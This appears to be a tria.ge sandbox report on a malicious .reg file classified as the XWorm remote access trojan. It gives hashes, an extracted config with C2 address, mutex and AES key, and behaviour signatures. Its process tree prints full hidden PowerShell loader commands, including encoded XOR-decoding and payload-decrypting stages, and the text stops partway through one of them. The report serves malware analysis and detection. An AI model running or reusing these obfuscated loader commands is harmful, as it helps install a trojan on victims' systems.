Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

B4VVtERhIuUi.reg

windows7-x64

6

B4VVtERhIuUi.reg

windows10-2004-x64

10

Analysis

  • max time kernel
    119s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2024, 20:34 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    B4VVtERhIuUi.reg

  • Size

    67KB

  • MD5

    f0e94218233968b75d2ddb2040dc6617

  • SHA1

    4f0e5778a92de896a753d924085e163130fb5584

  • SHA256

    8f0700c47b590a8072cc4e12e3016788b678ffffbddb87883646697b39337074

  • SHA512

    da863d750ae25545d6ff7f2dfbc78cc971d6332f14571da47cf88ab7a36ce60ce52f7c786420e322ffbd006d96b400339f3b9a6e0aa7c49c6f84855bd6180b0b

  • SSDEEP

    1536:D4g540DoR+MQRxYvgUV/AV18G84p1V2ktjiEmpKXS4D18WsPHDqRO:DXmE0vPmMjkwpKpjsPHDqRO

Score
10/10
xwormdefense_evasionexecutionpersistencerattrojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:2024

Mutex

IPatGZ2f5mZd3uic

Attributes
  • install_file

    USB.exe

aes.plain
1
VFR4lThzzn2hucxS0zBnPA==

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • System Binary Proxy Execution: Regsvcs/Regasm 1 TTPs 2 IoCs

    Abuse Regasm to proxy execution of malicious code.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies registry class 1 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs regedit.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\regedit.exe
    regedit.exe "C:\Users\Admin\AppData\Local\Temp\B4VVtERhIuUi.reg"
    1⤵
    • Adds Run key to start application
    • Runs .reg file with regedit
    PID:4004
  • C:\Windows\regedit.exe
    "C:\Windows\regedit.exe"
    1⤵
    • Runs regedit.exe
    • Suspicious behavior: GetForegroundWindowSpam
    PID:4076
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand CgAkAGUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgAD0AIAAiAEsAVwBWAG8AYgBHAGwAbwBmADMANAB0AE0AQwAxAE4AZABpADAAcQBUAEgAaAA1AFoAVwBKAC8AWgBIAGQAcwBlAFcAUgBpAFkAeQBvAHQATQBDADAAcQBkAEcASgA0AGYAMQBKAHIAWgBIAFYAbwBhAFYASgA1AFkAbQBaAG8AWQAxAEoAbABhAEgAOQBvAEsAaQAxAHcATgBpADEAawBhAEgAVQB0AEoAVwBSADYAZgB5ADAAZwBXAEgAOQBrAEwAVwBWADUAZQBYADEAKwBOAHkASQBpAGEARwBCADkAZQBYAFEAagBZADIAcAAvAFkAbQBZAGoAWgBHAEkAaQBmAG4AbAA0AGIAeQBOADUAZABYAGsAdABJAEYAaAArAGEARQA5AHMAZgBtAFIAdQBYAFcAeAAvAGYAbQBSAGoAYQBpADAAZwBSAFcAaABzAGEAVwBoAC8AZgBpADAAcABaAFcAaABzAGEAVwBoAC8AZgBpAFEAMgBMAFMAbABvAFkAMgA1AC8AZABIADEANQBhAEcAbABQAGIASAA1AG8ATwB6AGsAdABNAEMAMABsAFMAbQBoADUASQBFAFIANQBhAEcAQgBkAGYAMgBKADkAYQBIADkANQBkAEMAMABnAFgAVwB4ADUAWgBTADAAcQBSAFUAWgBPAFcARABkAFIAWABtAEoAcgBlAFgAcABzAGYAMgBoAFIAUQB5AEoATQBLAGkAMABnAFEAMgB4AGcAYQBDADAAcQBhAEcATgB1AGYAMwBSADkAZQBTAG8AawBJADIAaABqAGIAbgA5ADAAZgBYAGsAMgBMAFMAbABtAGEASABRAHQATQBDADEAVwBYAG4AUgArAGUAVwBoAGcASQAwADUAaQBZADMAdABvAGYAMwBsAFEATgB6AGQATABmADIASgBnAFQAMgB4ACsAYQBEAHMANQBYAG4AbAAvAFoARwBOAHEASgBTAHAAUABiAEQAUgBpAFIARgBkAEcAWABXAG8AbQBQAG4AOQBkAE8ARwBKAGEAWgBrAFoATwBaADEAOQBNAE0ARABBAHEASgBEAFkAdABLAFcAUgA3AFUAbQB4AGoAYQBWAEoAcABiAEgAbABzAEwAVABBAHQAVgBsADUAMABmAG4AbABvAFkAQwBOAE8AWQBtAE4ANwBhAEgAOQA1AFUARABjADMAUwAzADkAaQBZAEUAOQBzAGYAbQBnADcATwBWADUANQBmADIAUgBqAGEAaQBVAHAAYQBHAE4AdQBmADMAUgA5AGUAVwBoAHAAVAAyAHgAKwBhAEQAcwA1AEoARABZAHQASwBXAFIANwBMAFQAQQB0AEsAVwBSADcAVQBtAHgAagBhAFYASgBwAGIASABsAHMAVgBqADAAagBJAHoAdwA0AFUARABZAHQASwBXAGgAagBiAG4AOQAwAGYAWABsAG8AYQBWAEoAcABiAEgAbABzAEwAVABBAHQASwBXAFIANwBVAG0AeABqAGEAVgBKAHAAYgBIAGwAcwBWAGoAdwA3AEkAeQBNAHAAWgBIAHQAUwBiAEcATgBwAFUAbQBsAHMAZQBXAHcAagBRAFcAaABqAGEAbgBsAGwAVQBEAFkAdABLAFcAeABvAGYAaQAwAHcATABVAE4AbwBlAGkAQgBDAGIAMgBkAG8AYgBuAGsAdABYAG4AUgArAGUAVwBoAGcASQAxADUAbwBiAG4AaAAvAFoASABsADAASQAwADUALwBkAEgAMQA1AFkAbQBwAC8AYgBIADEAbABkAEMATgBNAGEASAA1AEEAYgBHAE4AcwBhAG0AaABwAE4AaQAwAHAAYgBHAGgAKwBJADAAQgBpAGEAVwBnAHQATQBDADEAVwBYAG4AUgArAGUAVwBoAGcASQAxADUAbwBiAG4AaAAvAFoASABsADAASQAwADUALwBkAEgAMQA1AFkAbQBwAC8AYgBIADEAbABkAEMATgBPAFoASAAxAGwAYQBIADkAQQBZAG0AbABvAFUARABjADMAVABrADkATwBOAGkAMABwAGIARwBoACsASQAwAFoAbwBkAEMAMAB3AEwAUwBsAG0AYQBIAFEAMgBMAFMAbABzAGEASAA0AGoAUgBGAHMAdABNAEMAMABwAFoASABzADIATABTAGwAcABhAEcANQAvAGQASAAxADUAWQBuADgAdABNAEMAMABwAGIARwBoACsASQAwADUALwBhAEcAeAA1AGEARQBsAG8AYgBuADkAMABmAFgAbABpAGYAeQBVAGsATgBpADAAcABhAFcAaAB1AFkAbQBsAG8AYQBVADkAMABlAFcAaAArAEwAVABBAHQASwBXAGwAbwBiAG4AOQAwAGYAWABsAGkAZgB5AE4AWgBmADIAeABqAGYAbQB0AGkAZgAyAEIATABaAEcATgBzAFkAVQA5AGgAWQBtADUAbQBKAFMAbABvAFkAMgA1AC8AZABIADEANQBhAEcAbABTAGEAVwB4ADUAYgBDAEUAdABQAFMARQB0AEsAVwBoAGoAYgBuADkAMABmAFgAbABvAGEAVgBKAHAAYgBIAGwAcwBJADAARgBvAFkAMgBwADUAWgBTAFEAMgBMAFMAbABwAGEARwA1AGkAYQBXAGgAcABUADIAeAArAGEARABzADUATABUAEEAdABWAGwANQAwAGYAbgBsAG8AWQBDAE4AWgBhAEgAVgA1AEkAMABoAGoAYgBtAEoAcABaAEcATgBxAFUARABjADMAVwBGAGwATABOAFMATgBLAGEASABsAGUAZQBYADkAawBZADIAbwBsAEsAVwBsAG8AYgBtAEoAcABhAEcAbABQAGQASABsAG8AZgBpAFEAMgBMAFMAbAB2AGQASABsAG8AZgBpADAAdwBMAFYAWgBlAGQASAA1ADUAYQBHAEEAagBUAG0ASgBqAGUAMgBoAC8AZQBWAEEAMwBOADAAdAAvAFkAbQBCAFAAYgBIADUAbwBPAHoAbABlAGUAWAA5AGsAWQAyAG8AbABLAFcAbABvAGIAbQBKAHAAYQBHAGwAUABiAEgANQBvAE8AegBrAGsATgBpADEAZQBlAFcAeAAvAGUAUwBCAGUAWQBXAGgAbwBmAFMAMABnAFgAbQBoAHUAWQBtAE4AcABmAGkAMAAvAE4AaQAwAHAAZQBXAGgAZwBmAFUAdABrAFkAVwBoAGQAYgBIAGwAbABMAFQAQQB0AFYAbAA1ADAAZgBuAGwAbwBZAEMATgBFAFEAaQBOAGQAYgBIAGwAbABVAEQAYwAzAFMAbQBoADUAVwBXAGgAZwBmAFYAMQBzAGUAVwBVAGwASgBDADAAbQBMAFMAcABmAGEARwBwAE0AZgBtAEEAagBhAEgAVgBvAEsAagBZAHQAVgBsADUAMABmAG4AbABvAFkAQwBOAEUAUQBpAE4ATABaAEcARgBvAFUARABjADMAVwBuADkAawBlAFcAaABNAFkAVwBGAFAAZABIAGwAbwBmAGkAVQBwAGUAVwBoAGcAZgBVAHQAawBZAFcAaABkAGIASABsAGwASQBTADAAcABiADMAUgA1AGEASAA0AGsATgBpADEAZQBlAFcAeAAvAGUAUwBCAGQAZgAyAEoAdQBhAEgANQArAEwAUwBCAEwAWgBHAEYAbwBYAFcAeAA1AFoAUwAwAHAAZQBXAGgAZwBmAFUAdABrAFkAVwBoAGQAYgBIAGwAbABMAFMAQgBhAFoARwBOAHAAWQBuAHAAZQBlAFgAUgBoAGEAQwAxAEYAWgBHAGwAcABhAEcATQA9ACIAOwAKAGYAdQBuAGMAdABpAG8AbgAgAGQAZQBjAG8AZABlAF8AeABvAHIAXwBiAGEAcwBlADYANAAoACQAZQBuAGMAbwBkAGUAZABTAHQAcgAsACAAJABrAGUAeQApACAAewAKACAAIAAgACAAJABkAGUAYwBvAGQAZQBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABlAG4AYwBvAGQAZQBkAFMAdAByACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBdACgAWwBpAG4AdABdAFsAYwBoAGEAcgBdACQAXwAgAC0AYgB4AG8AcgAgACQAawBlAHkAKQAKACAAIAAgACAAfQAKACAAIAAgACAAJABkAGUAYwBvAGQAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBvAGQAZQBkAEIAeQB0AGUAcwApACkACgAgACAAIAAgAGkAZQB4ACAAJABkAGUAYwBvAGQAZQBkADsACgB9AAoAZABlAGMAbwBkAGUAXwB4AG8AcgBfAGIAYQBzAGUANgA0ACAAJABlAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAxADMACgA=
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Binary Proxy Execution: Regsvcs/Regasm
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -encodedCommand DQAKACAAIAAgACAAJABNAEYAcQBCAHEAQwB1AHEAIAA9ACAANwA2ADgANQANAAoAIAAgACAAIAAkAEQATQBPAGEAVgBqAE4AZQAgAD0AIAAoAFsATQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABHAEoAcgBXAGsAWgB0AHMAKQAgACoAIAAyADMAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkADQAKACAAIAAgACAAJABFAHgAZwBGAHgAVQBUAEUAIAA9ACAAIgA3ACIADQAKACAAIAAgACAAJABIAHkAVQBPAFkAQQBMAGIAIAA9ACAAIgBPACIADQAKACAAIAAgACAAJABjAG8AawBNAE8AbgBQAG4AIAA9ACAAIgA3ACIADQAKACAAIAAgACAAJABXAGgAbQB2AHcAbwBMAG0AIAA9ACAAIgBQACIADQAKACAAIAAgACAAJABlAHcARgBpAE8AeQBaAG0AIAA9ACAAIgBBACIADQAKACAAIAAgACAAJABLAGIAWgB3AEUARABhAFEAIAA9ACAAIgBKACIADQAKACAAIAAgACAAJABRAEYAYwB6AHYAcwBkAGEAIAA9ACAAIgBCACIADQAKACAAIAAgACAAJABqAHAAQgBvAEEAcgBSAFkAIAA9ACAAIgBLACIADQAKACAAIAAgACAAJABuAG4AUwBDAGcAcgBzAHcAIAA9ACAAIgBmACIADQAKACAAIAAgACAAJABYAE4AawB2AGwAagBrAE8AIAA9ACAAIgBUACIADQAKACAAIAAgACAAJABpAEUAZwBFAEEAbABpAE0AIAA9ACAAIgBDACIADQAKACAAIAAgACAAJABZAE0AeQBrAHAAeABhAFoAIAA9ACAAIgBpACIADQAKACAAIAAgACAAJABwAGMAVABKAEIAWQBMAE4AIAA9ACAAIgB6ACIADQAKACAAIAAgACAAJABNAHAAUwBWAG4AagBYAEgAIAA9ACAAIgBYACIADQAKACAAIAAgACAAJABTAE0AbQBBAEgAcQB1AHMAIAA9ACAAIgBBACIADQAKACAAIAAgACAAJABwAFIAQQByAGkAdgBPAGUAIAA9ACAAIgBVACIADQAKACAAIAAgACAAJAB0ADEAIAA9ACAAMQAzACAAKwAgADMAMwANAAoAIAAgACAAIAAkAHQAMgAgAD0AIAAoACQAdAAxACAAKgAgADcAKQAgAC0AIAAoACQAdAAxACAALwAgADYAKQANAAoAIAAgACAAIAAkAHQAMwAgAD0AIAAiADcAIgAgACsAIAAiAE8AIgAgACsAIAAiADcAIgAgACsAIAAiAFAAIgAgACsAIAAiAEEAIgANAAoAIAAgACAAIAAkAHQANAAgAD0AIAAiAEoAIgAgACsAIAAiAEIAIgAgACsAIAAiAEsAIgAgACsAIAAiAGYAIgAgACsAIAAiAFQAIgANAAoAIAAgACAAIAAkAHQANQAgAD0AIAAiAEMAIgAgACsAIAAiAGkAIgAgACsAIAAiAHoAIgAgACsAIAAiAFgAIgAgACsAIAAiAEEAIgAgACsAIAAiAFUAIgANAAoAIAAgACAAIAAkAHAAIAA9ACAAJAB0ADMAIAArACAAJAB0ADQAIAArACAAJAB0ADUADQAKACAAIAAgACAAJABhACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABwACkADQAKACAAIAAgACAAJABkACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBXAHAAVgBiADMAWgA5ADEAVABVAHUARABPADUAQQBmAGgANwBXAGQATABaAFkAUABjADUAQgBHAHYAYgBzAE0AawBGAEQAVwBzAFIAYQAwAGUAMgAzAEQAVQBnAFcARwBsAHoAQgBHAGUAYgBOAG8ASQBUAEIANQBNAHUANwBCAEgAMwBKAHoAdwBuAG0AQwA0AGgAMwA1AEkAMABjAGYAdwBpADMAQwBiAFoAYwBNAGsAbgBFAEMANQBSAGYAVwBCAFgAYwA0AGIAQwBGAFkAMAA4AGEANAByAEEASQBJAEsAQwBCAGoAMQBzAHEARwBVAHYAQQBNAGoAeQBSAHUAcgBkAEoAVABhAE8ATgA4AEYAVABTAFQAWgB3AFQAaABZAFEAbQBUAGoANQBIAGoATQBnAFIAZwBoAGkARwB3AGcAYwB4AFYAZABSAHkAVwAzAGkAdQBqAEQAaABCAFMASwBtAHoAagBWAGoAMwBrAHcAOAB4ADIAbwBzADgANABJAHMAYQBOADQAcQBCADAANABPAFYAVgBrAHYARAAwADQAYgBhAEkANAAyAFcAQwBwAC8AVAA4AFgANQB2AGYANgB4AEIAKwA4AGIATwBEAEMAaQAyAEwANABwAFQAdwB5ADgAQwA5AGwAVwBiAGsAawBYAFIARABwADIAVgBlAG0ASABnAEsAVgAyAEEANgBCADMARgA4AGoASABhAFMAdQBRAE0AYwA0AEkAbwBTAFIATABiADIAdgBGAFAAQQBpADgAbwBQADQAdABuAC8ANABrAEMARABwAFcATABhADgAUABUAEkAUwA0ADQAdQBpAFUAaABQAG8ATQB1AG8AQQBXADAAZABLAFcAZABNAGgANwBnAHQAOABKAE8AZwBHADUAUAA4AG4AawBIAEsALwBRAHgARABzADYAdwBrAEYAcAA5AC8AVgA0AFIAVABpAEUATwBnAGkAQwB6ADcAUABVAFgAcABSAHIAeAA3AE8AMQBVAG8AUQBoAG0AdQArAE0ANwB3ADkAQwBIAEYAMgB0ADQAbwBFAE4AbQAxAEIAUQBGAHIAVQBDAGcASwB6AG0AcABxAE8AeQA4AGUAagArAFkAZABVADUAVABpAGEAMQBEAGcAUwBuAFUAZgA2AEcAagBzAFkAWgBqAEIAcABFAGMAdAB6AG0AbQByAFMAawBrAFQATABHAHIAOABmAGYAWABYAHIAYgBqAEgAVQBQAGYAcQBYAGwAVwBQAEIAVQBIAGkAQwBRAHMAKwAvAHQAMAAzAFEARgB5AE8AegBZADIALwBXAEsAagB3AHMAMwBVAHEAdgBnADAAQwBLAGIAZQB0AGQAcgBjAFkAVQAzAFYAdgBzAG8AVgA0AFEAMABuAHkAWgA0ADQAbQA0AEsARQBrAGgAeQB2AGQASwBDAHoATwBuAHgAWABOAC8ARwBkAFAAWgA0AGQAcwB0AHgASgB4AGoAbwBKAFUAcgBtAHoAMgBxAGwAQgBKAEYAYgB0AEkAMABpAFcAMABiAFQAbwB5AEIAOQBrAFQAYwBVAFkAWABoAEEAdgBIAHkAeQAyAEMAZgB4ADMANgBwAFAAagBSAGYASgA2AG4AKwBhADEANwBXAC8AWQBOAHEAYQA4AGQAaQBnAEoAKwBQAHgAMQBLAFIANQBiADUASwBXAFgAZwBLADkAZQBsADcASQBaAGkAQQBRAFcAUABLAHcAWQBOAGwAVwBpADYANABoAGgAYgBuAGUAZgBEAG0ASABHAHoAYgBHAEoANAAyAHQARgBxAGsAcQBmAFAAVwBPAHEAZABXADYAaQB5AHUAbgB0AEgARABOAEcAQgBLAHAAdwBxADUANgBJAG4AawBBAHoAVwBFAG4ASABOAGIALwB3AG8ANAB4AGYAdABnADAAOQAzAGoARABYAFYAcQAvAHoAbQBsAG0AdQBJAFcAdgArAFgAeQBpAGQAWQBQAGwAWgBYAFEAMgBRAG8ATgBQAFEASABvAEwAcQBGADgAQwBNAGQAcwByAFYAdQBvAFMAZgByADcATABGAEMAVwBDAFUAMQBxAFUAeABXAGYAWABzADgAdgArADMAVwBWAFkAdgBTAFkAUABmAGMAdgBXAG0AUQBrAHcAdABXAG8AeQBZAG8ATwBYADgAcwBrAE0ARABmADIAcgB6AEUAVwB2AEcAcgBuADAAaABxADMAWABEAG0AdABZAFoATABuAC8AKwB1AFIAWQBjAGQAZwBLADEALwBxAHcAeQBpAFkAbQA2AGcAUQBwAEcAbQB1AGEAMABWAGwAMQBIAFcASQBBAFoASgB4AC8AMgA4AGMASwBZADMAcwA5AEYANwB5ACsAMwBoAG0AVgBkAEUAcwBsAGYARwBsAHcAVQBkADEASgBrAEwARAA1AHoAcgBKAHEARwBFAEIAaQB0AG0AeAB0AEQAVQBwAG0AcQBmAFAAOAA0AEIAWgBQAHcAYQBHAHAAaABzAGsAdAAzAG0AZgA4AFkAZQBoADgANQA4AG4AVgBiAFoAagBlAFkATABtAC8ANgAxADAAQQBZAGUASQB3AEUAbQBIAHkAQwA0ADcANgAxAFcAdQB1ADgAdgAwADQALwBhAFEATgB3AC8AWgB6AGwAUwBUAGgAcAA5AGIATwBPADkAbwBxAEcANwBoAE8ATAByAFUAcAB6AEEAUABPAGEAegB1AGMAVQBUAGQAVwBzADkAQwBIAFMANwBRAFUAYgBYAGoALwBaAFkAWgB0AHEAdABmAE0AdgB6AEkASwAzAHYAbgBNADYALwA4AGUAUQBYAEMAYQBTADcARgBnADQAMwBqAG4AbgA1AHQALwAzAG4ASgArAHAATwBOAHEAQgBjAFMASwBGAHkAYgBFAHAAMwBYAEgATgBMAHMAUwB1AEIATgBWAFYAdQBtADIAVABKAHYAMQA3AFYAVgBPADcAVABRAFEASABZAHcAdgBSADcAYgBwADIASQBIAEoAcwBiAFkARwBsAEEAbgBwAEkAYwBQAGoARQBxAFQAagBIAGgAVQBrADYAZgA1AG0AawBCAHoAUwBMAEUAOAAzAEwAeQBiAFkASQA5AFAARgBTAFQAaABHAEsAZgB4ADIAMwBaAFAAYgB3AFYAUwBtAEoAeABsAGoAQgB0ADUAVwA2AHoAUwA5ADUASAAzAGUANQBZAFAAcwBGADcAcwA1ADkATwBGAEsAOQBaAHAAZwBUAG8AdQBRADEAUgBxAFYAeABMAHYAQQByAHoAbwA1AFIARAA1AEUAcgBvAGwAVgA2AGMARQBvAEwARwAxAHMAcQA0AE8AeABjAG4AWQA5AFMAQwA1AFQAegA4AGUAbgBwAEQASABDAHMAagBUAEgAVwBDAE0AagBnAEcAOQBKACsAWABrADQASwA5AFgAYQAzAEsAWABBAGgAdwBiAFIAcwBwAHAASAB5AFEAbQBPAGoARgBlAHIAMgB6AEMASQB1AE0ASgBxAFAATwBrAGEAMAB2AGQAZwBRAHMAeQB3ADgAYgB3AE8AOAA0AGwAQgBwAEIAZQB2AHMANQB1AGoARwB2ADkAKwBnAEgAZABkAEoAVwBVADUAbgBSADYAeABQAGwAVQBMAEUARAA5AGMAWABPAG4ARgBtAHgAYQBGAEgAcwA4AEEAVAAxAEIAZgBkAGQAZABSAFEATQBZAGEANwA3AEEASwBlADQAdQB2AE0AWQAxAHUAagBGAFkAcQBjADAAYgArADQAcQBuAHgANwAzAFEAZABFAEsAYgBGAEoAQgBiAGoAVABNAGQAYwBqAFEAOAA5AE4AZQBsAFcANQBXADUATQBmAEEAdABHAHoAYwBpAE4AUwBOAHcAYgBCAGsASwBNADEAbQBzAEUARABIAHoAaABzADIANQB4ADAAYQBhADAANQBtADYAVAA5AE0ATABNAFEAVQBWAGIAegB0ADMATABsAFAAMABkAHQAWgBMAGIATgBnAGMAeABWADcAUABYAFIAagBFAHgAYwBxAG0AWAB5AE0AeAB0AGYAMABuAHcAcQBKADkAagBoAFAAVABCAFkAcwB4AGYAagBwAFAAZABoAEkAWABXADAASQBQAFIAKwBqAEgAdgBtACsARgBzAEIAegBiAGEAQgBTAEkAeABxAFMAQQB6ADUASwA0AFoAMQBXAFEASwBsADUAYgBkAFoARABmAGkAWgByAGQAMABnAFQARQA2AEMAegBzAGgASwBWAEYAVgBOADAAZgBuAHkAOAAwAFQAcgBzAE4ARQB3AEMAQQBkAFUAWABKAGEAUABPAEEAawBpAEoAVgBsAE0AbgA5AGoANgB1AEwAOABLAEQARQBIAHYARABsAFgAKwBMADIANQBIAHYARgBxAHEAdQBIACsAWABwAGIAVwBBAGkAagBSAFAASQAyADQASQBJAEIAVQBQAHgAZABOAGQATQBUAG8AMgBhAE8AcwBGAEwAWgBRAGoAcgAvAHIATwAvAEEAMwBDAGsAUABCAFoAUQBNAFkAUAAwAFkANwB2ADYANgBRAGUANwB6AGIAeQBCADgAQQB1AFYAVgBmAE4AQQByAEMAdQBMAEEAbgBVAEMAVgA0AHAAagB6AGUASQBMAHQAYQA1AFQAMwBsADMAUABHAFQAOABXAHAAQgB0ADUAOABhAFMARAB3AEgAQgAyAHMAbQA0ADEAYQBpADUARQBtAGEAUgByAGoAWABJAFEAMABVAFUAQwBnAEcATwAwAFAAUQBRAHYAdwBTADcAOQB1AEkASwB6AFcANwBxAGwATwBDAHcATgBlAFUATQB6AHkAQwBUADYARABvAFIAVABqAE8ATABaAHUAbABtADYARwBzAG4AZgBjADYARQBoAFkAUABjAG4AWgB4AHkATABnAHoAYwBzAGwASQBKAFUATgByADUAWABZADEAegBtAGgAYgAwADcAWAAzAEMAdwBDAGwAQQBnADUAaQAxAGoASgBVAHYAQQBvAEUAeABlAGwAMABaAEYASAArADYAbwBNAHQAaAAyAE0ANwBUAGoAbgBaAEgAKwAwAEgAbwBWADEAMQA3AFgAdABvAEsASwBtAFAAYgBzAEYAcABnAHAAdABiAE0AOABkAEwAcAAyAG8ARwBjACsAVQBVAG8AQwBJADEAbgBxAEYAUgBGAHYAUwBwAHoAcABnAEQAcwBqADYAYgBpAEIATwBiADEARQBPAGIAeABUAGgAcABIAG0ATQBhADAASwBCADAAbQBrAFoARQBqAHMAeAB3AFEAagBiAHUAZABIAHcATgBHAEsAagBUAEMAWAB6AEoAbAB3AFcATwBIAGQAagBZAEUAdQBPADEAVwBWAGEATgByAG8AZAByAEgAUgB2AG0AawA0AE8AbwBBADMASQA1AFoARABlAEsAVgBTAEgAaABQAGMAaQA4AHcARwBIACsAbwBOAGEARgBvAE8AVAArAG4ATQAxAHAAZgAxAHYAOQB6AGgAdABUADgAYQBxAEoAQwA4AGMARgB1AFYAZgBEAEUAUwBoAHkAawAzAFUAeABhADUAdwBVAFgAYwBsAFkAcQArAEIAYQBLAEQAbwArAFkAWABLAGUAVQBDAGoAcgBmAHcAcgBNAGEANQBnAEwARQBZAGgAaABxAEkASwBmAHkAMwB0AFgALwBJAGIANAAwAHEAUgBGAHkAUQBiAFAANQBlAEIAQgBtAFEALwBIAGgAdgArAHMASgA2AFcAZQBpAG8AeABmAGoANwBsAHUAWQA3AEYAVQBkAHAAeAAxAHAASQAxAHUATgBPAFgAZQBjADQAdABUAFkANwBGAEQAdABOAHAAbgB5AEkAWQBuADIAZwBCAEIAbAA4AHMAbgBtAFkARABnAHgAVwBvAEkAUQBIAFcARQBtAGEAOQB1AGkATQBsADQAcAAxAFoAVAAyAFMANQBBAEEAaQBYAHcAbQB6AHkAVgBXAHAATwBQAGQAbQAwAEgAcgBWAHYAZABhAGIANABBAFoARABvADgAVwB1AFkAWgBMAGkASgBkADcAcQBvAEEAdgBiADYAVgBvAFgAMgBWAHUAVgAyADgARgBsAHcARwBRAEQATwBVADcARwAvAFUAMABkAGUAUQBFAGYANABRAG8AOQBKAEoAOAB6AHMAMABuAHIAUwB0AG4AcgBrADQAdwBDAGkAaAA5AHoATgBtADYAcAB2AEQAcQBuAEwAdgB2AHIAKwBXAE4AdABFAHoASgBaAEEATAAvAHgAaQBpAFcAVgAvAFcAVgArAE4AYgBOAEQARwB0AEYAbABtAG4AWQBNAGQAQgBGAFUAWgBNAGoAYQBUAEUASgBFAHgASgBkAGcANgBhAFAAeABMAGYASABUAHgAVQB4AE0AWQAxAEQALwAzAHQAYgBTAGIAOQBXAFEAbwA3AFEAMwBoADAAegB2AEEASABFADQAMwA2AHkALwBSAEcAbgAwAEEALwB4AGcAYQBVAEEAWQBvAHMAMgAzAHUAVQAzAEYAWgBXAGwAcQBaADkARQBBAG0AOQBrAEwARABLAHAAaQBYAFoANwBtAEwANQBZAHEAZwBmADgATABZAHgAMAB1AFcAdQBJADAAYwA2ADIATABuADkARQBhAGsANQArAEEAUQBJAEsAQQBlAGcAQwBRAE4AawBPADUAUgArADMAKwA0ADIARwA5AEcAMQBiAFAATQBZAGYATQBzAHIAeABqAEQAOABnAEYANAAyACsANQBvAEoAOABkAEsARwBVADMASgAvAG4AawBqAE0AMABOAHgAQwBXAFIAQQB2AEQAMgA5AHkASgBTAHgAcwB4AHYAdAAxAEQAbgA2AE8AQwBNAFoAOQBnAHIAaABrAEsAcQBBAFYAKwArAE4AUwA3AGEAbQB5AGIAMwBQAHcAVQBoAFQAVgAzAFEAMQBwADMAYQBHADgAdQB2AHAAcAArACsAdQBYAGUASgBKAGgAagBuACsANABYAC8AdQBOADEASABBAEMAdAAxAFIAVAA5AGMAdABhADMAQgBxADAATABpADcAZwBGAHgAawBRAFoASgAzADUATwBuAEIAagA0AHkAZABLAE8AawBxAEwAZAB2AFkAcQBRAEIAYwBUAGUARgBsAGcAeQA4AGgAYQBLAEgAdQA4AE0AVABuAHIATABEADMAWABTAGsANAB3AFUAaQBmAGkAOQBGAHcAYQB5AGYATwA5AFMASgBUAHEAUQBmAHIANgBsAGoAVwArAEoAZwBUAHcAdQBFADIAaQBoAHMAZAB3AHcAMABXAGcAagB4AGIAeQBtAGcANABoAEwASABIAGoATwBrADUARgBMAFEAWAA0AFIASQBNAGMAbgBmADMAcQBMAE0AMABRAGkAMwBlAGgAagAzAEYATAB3AHYATABOAGQAbwBsAFIAVgBrAHcALwAxAE8AWQBNADAAQgBEAEkAYQA4AGEAbQBxAEoAa